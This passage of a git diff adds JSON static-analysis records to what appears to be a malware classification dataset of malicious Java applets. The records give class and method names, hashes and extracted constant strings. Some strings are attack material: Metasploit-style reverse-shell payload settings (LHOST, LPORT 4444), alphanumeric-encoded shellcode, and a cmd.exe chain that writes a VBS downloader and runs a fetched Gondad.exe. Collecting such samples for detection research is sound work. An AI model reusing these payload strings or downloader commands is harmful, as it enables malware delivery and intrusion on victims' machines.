index 0000000..aeed1ed
--- /dev/null
+++ b/java_classification/data/malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "EsjdHpRZsn/HXemfYe", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "225ff4ea-b3a4-4f3a-917c-be86035d1b7f", "verbose": {"java": {"constant strings": ["EsjdHpRZsn.HXemfYe", ".class", "/EsjdHpRZsn.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "EsjdHpRZsn.dat", "URL", "", "https:", "EsjdHpRZsn/HXemfYeTrustManager.class", "HXemfYeTrustManager.class", "AESPassword", "EsjdHpRZsn/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "EsjdHpRZsn.HXemfYeTrustManager", "useFor", "java.net.URLConnection", "EsjdHpRZsn.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "HXemfYe -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "976f69700f68e0d6b1d1a2c144afb83bc3a3bf91", "file_name": "java_malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621", "_id": "225ff4ea-b3a4-4f3a-917c-be86035d1b7f", "score": 0, "entropy": 6.143110479998981, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1t5/QStm5CyNvpvUrKYvCkgHzbDrDF:5+rQsyNvZU+YvaH3B", "sha256": "a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621", "md5": "411e3295a9724bd2bb623b44b4fe4010", "parent_sha256": "a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da.results b/java_classification/data/malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da.results
new file mode 100755
index 0000000..41953c5
--- /dev/null
+++ b/java_classification/data/malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/xxowhajprnrtz", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "howungzxzjhspneaxze", "xtipcnrfeevpbltnyx", "ytwwnworlvcxdwxcj", "ypzgdzpdtimaeaeso", "wliyrwfvjzjcdmb", "qynaxevilrliogf", "fckwyiuvbqozewad", "sljrvldptqhkhmw", "cselrutanbxeidefquf", "nedgpjfwxqbadflh", "init", "aqnbpoirnefnjiw", "bnalydfhwjutjcjrs", "lveylhseuuwacqxol", "ytlvwymitdspddxj", "gnfwacflsjoamusylxn", "atrumqbtyivsubaa", "dalozrihkobxokxjbgi", "oodzzpovvitxxcbry", "sxpwxofbpiyqhnqpap", "kmqojvqmrcpacub", "<clinit>"], "minor_version": 0, "const_pool_count": 588}}, "_id": "8ef7053d-14be-49d4-be70-209dad4ebe75", "verbose": {"java": {"constant strings": ["defineClass"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7ed9a819bd7b0f3cabb94aabf4cc0d8e787caa7a", "file_name": "java_malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da", "_id": "8ef7053d-14be-49d4-be70-209dad4ebe75", "score": 0, "entropy": 6.530137864669526, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 13274, "ssdeep": "384:iS1J6EqVh+g6VC8k4VAI8wNH3yB7bR1E0Mv:p1kEsh+g6VC8k4XNCBbE0Mv", "sha256": "a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da", "md5": "8fd26226ae6a6ea968a1f7253fd2f1fd", "parent_sha256": "a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e.results b/java_classification/data/malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e.results
new file mode 100755
index 0000000..a8bf26d
--- /dev/null
+++ b/java_classification/data/malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Saanuy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Tebbel", "Subbat", "Tabbt"], "minor_version": 0, "const_pool_count": 128}}, "_id": "146ad13c-9a2f-413e-a578-9e21ad9d180d", "verbose": {"java": {"constant strings": ["java.security.", "java.io.BytWeArWrayOWutputStWreWam", "close", "toByteArray"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b5c9deb0e4a3cf7c0c96390f45a5250499768d34", "file_name": "java_malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e", "_id": "146ad13c-9a2f-413e-a578-9e21ad9d180d", "score": 0, "entropy": 5.584791530558511, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1959, "ssdeep": "48:eI0RGy1rSfFC/W72shgkzlpUekiWhQ2Rk:eI0JxGhzJCQ5", "sha256": "a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e", "md5": "b008d545cd3ac79f670cd017389cbfba", "parent_sha256": "a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659.results b/java_classification/data/malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659.results
new file mode 100755
index 0000000..09bc0b1
--- /dev/null
+++ b/java_classification/data/malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/rqqymmtlklfltawvhrl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "kmjeybqprltamk", "<clinit>"], "minor_version": 0, "const_pool_count": 39}}, "_id": "dffe172a-4588-426b-b350-2731e207626a", "verbose": {"java": {"constant strings": ["32eqyblsgqt"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "686642b24bb1e583554efb7b51af3746112f91cc", "file_name": "java_malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659", "_id": "dffe172a-4588-426b-b350-2731e207626a", "score": 0, "entropy": 5.590075641021105, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2383, "ssdeep": "48:+E0PygHoibbL/klVOA0b6uK98DEre46kcLlLsNLZ64R2sHOceosyHQDTbss:Rw1TMlVSb6KIrA/o/rjUxDcs", "sha256": "a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659", "md5": "0df7802e9c5308240c3751d930bdb469", "parent_sha256": "a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21.results b/java_classification/data/malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21.results
new file mode 100755
index 0000000..eba507c
--- /dev/null
+++ b/java_classification/data/malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "decoder", "init"], "minor_version": 0, "const_pool_count": 90}}, "_id": "ef75b0e8-e5dc-402f-8bcb-70cdc94b56a1", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINpnpNplPLPNplPlPNpnpyx7pwpuPePzKwphi9luPuPWp1OQtoQ4pgpEPEPpx6lnkSpdLNkbPELlmlKCXS8ZKWyNkqPDtnmcpsLLKax5lnkjWrJGt69xhlOs0uPs0kRJYe80oBNc0GpbH45PrbLRM2tKO6vLKKXkXpywpc0UPlKN7rgk0wOS0PukJPGsg1WMP5oWpQeXzNkJOSo4sO9MQZLETvas0WplKiL0Q2rpSqxgteQGpwpkOPV6lpZCif1RrlKDBbscsmPWK5Paehzk1cKkL6NPeQh3UT5s3k3JKc8NiFcZgcswtFNcUsH0eO63suXWp3knjZa7tdpmXPEUPfSo0bpbpSc3gPPyoPVvpncHxS0Qe7vCZWqBsKObvVdpZ2yNc8BtDBak0VZWp2UMdYoQF6hV1PVLKrUUlnkD4vNQh5SxuQFlKQfWP4CYevSkyQYQQNM5SO5VS9KDOMn6pwJXV0tGxkq8KtMESiJQPXkYauk7opuJGcnNkSnTdTCKmsVNkdLrkLKqN7lWsKmNk5TNk5SYUlksnQIo3IxKOkNioYolNpNvnxlNxKNMZVn3NxXXbsCVSyZOz1KVV7jFO400Lw2aFG6Wp58PtPtPpTz6OtoQapkrOpoperSROt21qfNbIpnav2OtoQsaw59vMpbpiPnVOqyrNpdCUCHTobE78qvpfqvQvVYvQVYRFaFvPp1P0p0PffPwFdpTpVPtv2rPesRdv7D6UDwrDtq014p4rbt3RP4qsRCVT5355VP7BTpTsrLfPDtTpuifSFQFXqZTqtp4pfPp0p6P0FQ7pUPA", "419,20,7f,6d", ",", "file://abc/", "B", "u"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b3ec7389209c021866804f9d00a740f969132d3c", "file_name": "java_malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21", "_id": "ef75b0e8-e5dc-402f-8bcb-70cdc94b56a1", "score": 0, "entropy": 6.311943910863593, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2621, "ssdeep": "48:1ODoXyFlrYpODK0Lr0JsfVla0vOee/FqIaFv16fQHX3nZ+NAqECCYNUq10Bk9:+FlEpOu0wwXvqToNfnnZ2CvqWI", "sha256": "a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21", "md5": "c9d900437d4eff832874de8da9445c52", "parent_sha256": "a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697.results b/java_classification/data/malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697.results
new file mode 100755
index 0000000..8194b4e
--- /dev/null
+++ b/java_classification/data/malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "oXkjCnJXDT/QUuVNut", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "bd6c9ccc-886e-4427-8250-df49833c0aad", "verbose": {"java": {"constant strings": ["oXkjCnJXDT.QUuVNut", ".class", "/oXkjCnJXDT.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "oXkjCnJXDT.dat", "URL", "", "https:", "oXkjCnJXDT/QUuVNutTrustManager.class", "QUuVNutTrustManager.class", "AESPassword", "oXkjCnJXDT/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "oXkjCnJXDT.QUuVNutTrustManager", "useFor", "java.net.URLConnection", "oXkjCnJXDT.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "QUuVNut -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "afc3ce2e3a9d720f6ba1451338982c586825f5ff", "file_name": "java_malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697", "_id": "bd6c9ccc-886e-4427-8250-df49833c0aad", "score": 0, "entropy": 6.152173117775892, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMDDUB9+WXpThmsRxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tx9ttmYyNvpvUrKYvCkgHzbDrDF", "sha256": "a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697", "md5": "d35deb00c6731c201e432d6d3079f762", "parent_sha256": "a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87.results b/java_classification/data/malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87.results
new file mode 100755
index 0000000..c1d665f
--- /dev/null
+++ b/java_classification/data/malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "528bd7bd-9942-4a6b-b041-9639a7058f20", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "eEWQV8yEbB2vptszi", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo gond=\"eEWQV8yEbB2vptsz\">>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\eEWQV8yE.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "31e76beeec42d5fc3f7adff59f356c8853f796b9", "file_name": "java_malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87", "_id": "528bd7bd-9942-4a6b-b041-9639a7058f20", "score": 0, "entropy": 5.893199461351935, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "96:CzGlWB3pDv1xB9H46guLAgusux/+LkLYBci6dYM89bUI:zlWBZDv1x7H46guMgusux/+LksBciKYt", "sha256": "a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87", "md5": "65d333a6ca842bafab24bded3d80c056", "parent_sha256": "a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e.results b/java_classification/data/malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e.results
new file mode 100755
index 0000000..41d3d31
--- /dev/null
+++ b/java_classification/data/malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/ugnwxs", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "mqwhahxhcumzsqh", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "6b71e011-0d42-449e-9a2b-e76f68266afe", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1a5e04cef3f2ca52e7fecb1a31a969955c9269fd", "file_name": "java_malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e", "_id": "6b71e011-0d42-449e-9a2b-e76f68266afe", "score": 0, "entropy": 5.211755335110619, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6958, "ssdeep": "96:KMHTlcKT+8bNDgi4BdDklHCWdno8py2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TBcqedQlxpyxhi/To55UTYwa5hGX1", "sha256": "a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e", "md5": "69e6203e3f14f62fe2977ba6c9cb645a", "parent_sha256": "a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9.results b/java_classification/data/malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9.results
new file mode 100755
index 0000000..d9e6b98
--- /dev/null
+++ b/java_classification/data/malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "uCKKUSga.java", "class_name": "uCKKUSga", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "9db4d599-0a65-4062-ae34-322a70e0c0d7", "verbose": {"java": {"constant strings": ["\\x1f\\x02\\x07\\x1c5\\x1a", "U\\x1bNBG"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c5b5a7a37dcfa05dfae91c9ccee44d1e96de706e", "file_name": "java_malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9", "_id": "9db4d599-0a65-4062-ae34-322a70e0c0d7", "score": 0, "entropy": 5.576451041606809, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 891, "ssdeep": "24:P3yQul2qiuPnhPMhBUp0A1eTg6p7+h29fvj8qqx:fyFl2uP+sZ7QOkXj8qK", "sha256": "a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9", "md5": "269e597a8a51e0a32626d035e0bfd4a6", "parent_sha256": "a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8.results b/java_classification/data/malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8.results
new file mode 100755
index 0000000..a8d2651
--- /dev/null
+++ b/java_classification/data/malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "decoder", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "dfb6ef77-47e8-410a-b2cd-54b01c2d544b", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInpNpNpz0NpNplPLPYyKKwps07psoQtlaDpWpUPePLKSptLnkrP5LLmlKqxwPopQmtLtsRTVcLVJKkClK3XvhlKjWQzuTryM8NowpEPeP8bhyph2Opngp5P3XrUPr0lRMv4KOb6nkXhM8SI5P30wpLKn7swOp5ogpt59jPGsgswK07OuPt5xzLKjOSop3XIMQzLUTuQEPGplKYLRqpRPSsXwts1UPePYopVtLCjRyPQqBnks2QCpCK0ukwpCEjZoqak9lTn0ebXPebUS3OsjKS8nitCkwaS4DvNu5d8auXFbcgxc0skmZyQETTpNhsu5PEco0rp0Pv3pWPP9ov6FpOsZXuPPu7vSZUQ2sKOrvGtSjPYmSO2vdw1MPDzgp3ELtkOQF7xf1qFlKPuwLlK1d4ubX4CKE66NkpvgPGsKEP3ziqYSqLmUSyUTs9KvoONr0DxjRrTFhKq8KtMfczzG0xkYaGKuO2UIwQNlKaNutwsyMSVnkTL2kLKsnwlwskmLK7tnk6cIUNKQNpYksIxwpIo9okOlN0NvnzLlXkNnjvnCNiHyrd3dsjjnjaKGFdZVOppRtbP1QPQUP1xrTRTBPtz4ovOrGPo2OPgplau4nqqPn0a2LSID4rIbCQc4nqsRObMfNu9ppPo56D3E6CVrSpzbTpwdnsYRN2FBOVORK0abVVOpkQqcFedfNbPd96OQug8vXSQsRp9GE7Eui7BqFDpfSTpvP5cu6dsuf4p4pubqBtr6RquQt4pP36YBDFQtpTrbtSSuafWEd0bRBufTtf1Tptp4pVPtpdr3Vu4Tydp5afX4pFQQVP0tpP21qdpTpFPSQPJdp1tTpDp6PvVVPDqrLtpDttpfYpK4vWDubEfGBSTvScQ6STqTxePuPA", "419,20,7f,6d", ",", "file://abc/", "B", "u", "\\xc0\\x80"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a730382b5c537e11d4f9bfcfbee6c5cb1e545636", "file_name": "java_malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8", "_id": "dfb6ef77-47e8-410a-b2cd-54b01c2d544b", "score": 0, "entropy": 6.3055486115143635, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2872, "ssdeep": "48:icWdyFlTQsPkGLnhC0GeK4mlXMmNRsFdIgFv16f+HJIQY+NAqECCYNir3sq10z9:LWYFlTQskGLN5KDq5GWNZqQY2CH7sqE9", "sha256": "a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8", "md5": "534c1b7023969df8c10ed3a429be47ce", "parent_sha256": "a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa.results b/java_classification/data/malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa.results
new file mode 100755
index 0000000..b15dd0e
--- /dev/null
+++ b/java_classification/data/malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "IigkH.java", "class_name": "JGXgwWYpp/vrguh", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "NexluA", "LYqSlK", "wRnGi", "lrEgZYVW", "OrderIfInvoke", "wQdbZz", "PAamwoHs", "DvUsCm", "ohgIFj"], "minor_version": 0, "const_pool_count": 140}}, "_id": "74a6da76-0ab7-4e1c-b512-7eee6c08bc0d", "verbose": {"java": {"constant strings": ["", ")9\\x04\\x18\\x0e", "\\x04)$\\x07=;", "\\x05\\x07\\x07.;\\x1d\\x0f-", "\\x19\\x1e\\xc0\\x80", "\\x02\\t\\x1b%\\x02\\x1f\\x18\\r\\x02\\x0f\\t"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f256a0f5d9543fe37855c769013d3ad95b563e17", "file_name": "java_malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa", "_id": "74a6da76-0ab7-4e1c-b512-7eee6c08bc0d", "score": 0, "entropy": 5.735829990046049, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3264, "ssdeep": "48:WCnvDRyFlTbe4m3vxw+hLfmdctZH3eazWEPBh7GkhDO4baXnIoChHVKXlAY4l+//:WgIFluxw+xLkaz97GkhC4ba3oKXho0v", "sha256": "a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa", "md5": "119e03c4e84947c253eae2a4bc8d5ae2", "parent_sha256": "a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc.results b/java_classification/data/malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc.results
new file mode 100755
index 0000000..778e173
--- /dev/null
+++ b/java_classification/data/malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "uetwSkCX.java", "class_name": "hhIji/uetwSkCX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "pGahx", "ZFhdNGi", "init", "UEiXBcNwP", "PYpePgC", "<clinit>"], "minor_version": 0, "const_pool_count": 210}}, "_id": "4b36b2b3-06dd-4467-b217-03d56a918114", "verbose": {"java": {"constant strings": ["tuuuuu", "10\\x16\\x16\\x03\\x120\\x16#", " ) ( +1\\x037*(\\x06*(5) =", "/$3$k)$+\"k\\n\\'/ &1/$3$k)$+\"k\\x1617,+\"", "! &)$7 !\\x08 1-*!6", "&*(k60+k/(=k(\\' $+6 73 7k\\x0f(=\\x08\\x07 $+\\x16 73 7", "+ 2\\x08\\x07 $+\\x16 73 7", "/$3$k)$+\"k\\x1617,+\"/$3$=k($+$\" ( +1k\\x08\\x07 $+\\x16 73 7/$3$=k($+$\" ( +1k\\x08\\x07 $+\\x16 73 7\\x01 ) \"$1 \\'**) $+", "", "\" 1\\x08\\x07 $+\\x0c+61$+1,$1*7", "#,+!\\x06)$66", "/$3$k)$+\"k\\x1617,+\"/$3$k)$+\"k\\x06)$66\\t*$! 7", "60+k*7\"k(*?,))$k/$3$6&7,51k,+1 7+$)k\\x06*+1 =1", "60+k*7\"k(*?,))$k/$3$6&7,51k,+1 7+$)k\\x02 + 7$1 !\\x06)$66\\t*$! 7", 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diff --git a/java_classification/data/malicious/a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09.results b/java_classification/data/malicious/a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09.results
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diff --git a/java_classification/data/malicious/a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b.results b/java_classification/data/malicious/a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b.results
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diff --git a/java_classification/data/malicious/a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f.results b/java_classification/data/malicious/a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f.results
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diff --git a/java_classification/data/malicious/a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1.results b/java_classification/data/malicious/a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925.results b/java_classification/data/malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925.results
new file mode 100755
index 0000000..80a5082
--- /dev/null
